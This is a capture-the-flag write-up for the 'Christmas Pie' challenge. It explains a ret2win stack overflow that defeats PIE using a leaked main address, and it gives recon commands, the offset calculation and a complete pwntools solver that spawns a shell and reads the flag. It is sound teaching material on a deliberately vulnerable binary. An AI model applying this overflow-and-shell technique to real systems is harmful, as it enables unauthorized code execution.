//Christmas Pie
>TL;DR
This is a classic ret2win stack overflow, but with PIE enabled.
The binary helpfully prints a leak of main (%p), so we compute the PIE base at runtime and jump to the hidden win() function.
win() calls execve("/bin/sh", ...), so we get code execution and can read the flag.
Final flag (remote): CTF{CHR1STM4S_P13_G1V3S_Y0U_SH3LL}
>Challenge files
christmas_pie(64-bit ELF)
No custom libc/ld were provided, so local testing uses system glibc.
>Step 1 — Recon / protections
I always start with a quick triage:
file christmas_pie
checksec --file=christmas_pie
Key results (summarized):
- Arch: amd64
- PIE: enabled → code addresses are randomized each run
- NX: enabled → no executing shellcode on the stack
- Canary: none → direct stack overwrite is possible
This combination usually screams: “find an info leak or a function pointer overwrite, then do a ROP/ret2win.”
>Step 2 — First run (spot the leak)
Running the program shows a very interesting line:
Welcome to christmas PIE!
Here's a little gift for you, the address of main: 0x...
That is exactly what we need to defeat PIE: a runtime pointer inside the binary.
Why this matters:
- PIE means the binary base address changes every execution.
- If we leak any address inside the binary (here:
main), then:
$$\text{PIE_base} = \text{leaked_main} - \text{main_offset}$$
Once we know the PIE base, we can compute the real address of any function, including win().
>Step 3 — Static analysis (find the bug + win)
Next I inspect symbols/strings/disassembly:
readelf -s christmas_pie | grep -E ' win$| vuln$| main$'
strings -n 6 christmas_pie
objdump -d -M intel christmas_pie | sed -n '/<vuln>:/,/^$/p'
objdump -d -M intel christmas_pie | sed -n '/<win>:/,/^$/p'
3.1 The win() function
The binary is not stripped, and there is a win symbol.
Disassembly shows win() prints a message and then calls execve("/bin/sh", ...).
So: if we can redirect control flow to win(), we’ll spawn a shell.
3.2 The vulnerability (vuln())
The vulnerable pattern is clear in the disassembly:
- stack frame allocates
0x50bytes - it then does
read(0, rbp-0x50, 0x100)
That means the program reads up to 256 bytes into a 80-byte stack buffer → classic overflow.
>Step 4 — Calculate the overflow offset
From the function prologue:
- buffer starts at
[rbp - 0x50] - saved return address is at
[rbp + 0x8]
So distance from buffer start to saved RIP is:
$$0x50 + 0x8 = 0x58$$
So the payload shape is:
'A' * 0x58 + new_RIP
>Step 5 — Exploit strategy (ret2win with PIE)
We combine everything:
- Receive leak of
mainprinted by the program. - Compute PIE base using symbol offsets from the local ELF.
- Compute runtime address of
win(). - Overflow stack and overwrite saved RIP with
win().
Why there’s a ret gadget
On amd64, stack alignment sometimes matters (System V AMD64 ABI). Some libc routines (or functions called beneath) can crash if the stack is misaligned.
A common “belt-and-suspenders” fix is to insert a single ret gadget before win():
payload = 'A'*0x58 + ret + win
This is cheap and increases reliability across environments.
>Step 6 — Local success
Run the exploit locally:
python3 solve.py
Expected behavior:
- script parses the
mainleak - computes PIE base +
winaddress - overflows
vuln()and callswin() win()runs/bin/sh
In my testing, local execution reached:
Ho Ho Ho! You found the win function!
>Step 7 — Remote success (non-interactive)
Remote provided:
nc 34.159.68.68 31001
The solver is automated and non-interactive (good for infra / unstable shells):
python3 solve.py REMOTE -q
What it does after spawning /bin/sh:
- sends
cat flag*; cat /flag; exit - captures all output
- regex-extracts and prints the first
CTF{...}
Remote output:
CTF{CHR1STM4S_P13_G1V3S_Y0U_SH3LL}
>Full solver code
solve.py
#!/usr/bin/env python3
from pwn import *
import re
exe = "./christmas_pie"
context.binary = ELF(exe, checksec=False)
# From vuln(): local buffer at rbp-0x50, saved RIP at rbp+8 => 0x58 bytes
OFFSET = 0x58
def start():
if args.REMOTE:
# Challenge remote defaults (override via HOST/PORT)
host = args.HOST or "34.159.68.68"
port = int(args.PORT or 31001)
return remote(host, port)
return process(exe)
def leak_main(io: tube) -> int:
io.recvuntil(b"address of main: ")
line = io.recvline().strip()
m = re.search(rb"0x[0-9a-fA-F]+", line)
if not m:
raise ValueError(f"Failed to parse main leak from: {line!r}")
return int(m.group(0), 16)
def build_payload(main_leak: int) -> bytes:
elf = context.binary
elf.address = main_leak - elf.sym["main"]
rop = ROP(elf)
ret = rop.find_gadget(["ret"]).address # align stack for x86_64 ABI
win = elf.sym["win"]
log.info(f"main leak = {hex(main_leak)}")
log.info(f"PIE base = {hex(elf.address)}")
log.info(f"ret = {hex(ret)}")
log.info(f"win = {hex(win)}")
return flat(
b"A" * OFFSET,
ret,
win,
)
def main():
io = start()
main_leak = leak_main(io)
payload = build_payload(main_leak)
io.recvuntil(b"Tell Santa your wish: ")
io.send(payload)
# Non-interactive mode: try to grab the flag and exit.
# Override command via CMD='...'
cmd = (args.CMD or "cat flag* 2>/dev/null; cat /flag 2>/dev/null; exit").encode()
try:
# Important: don't send shell commands until AFTER vuln()'s read() has
# returned, otherwise the command bytes can be consumed by the overflow.
io.recvuntil(b"Merry Christmas!", timeout=2)
io.recvuntil(b"win function!", timeout=2)
except Exception:
pass
io.sendline(cmd)
data = b""
try:
data = io.recvall(timeout=3)
except Exception:
pass
m = re.search(rb"CTF\\{[^\\n\\r}]*\\}", data)
if m:
print(m.group(0).decode(errors="replace"))
else:
# Fallback: print whatever we got (useful for debugging)
try:
print(data.decode(errors="replace"))
except Exception:
print(repr(data))
if __name__ == "__main__":
main()
>How I got the idea / thought process
This challenge title and banner basically tell you the intended path:
- “PIE” in the title hints you’ll need to deal with PIE randomization.
- The program literally gives “a little gift” by leaking a PIE address.
Then the standard exploitation checklist applies:
- No canary → stack smashing is viable.
- NX enabled → use ROP/ret2win rather than injected shellcode.
- Non-stripped binary → look for a
win()symbol. - Leak present → compute PIE base and jump to win.
>References
- Pwntools documentation (ELF/ROP/flat/remote): https://docs.pwntools.com/
- Quick explanation of
checksecoutput / mitigations: https://github.com/slimm609/checksec.sh - System V AMD64 ABI (stack alignment context): https://refspecs.linuxfoundation.org/elf/x86_64-abi-0.99.pdf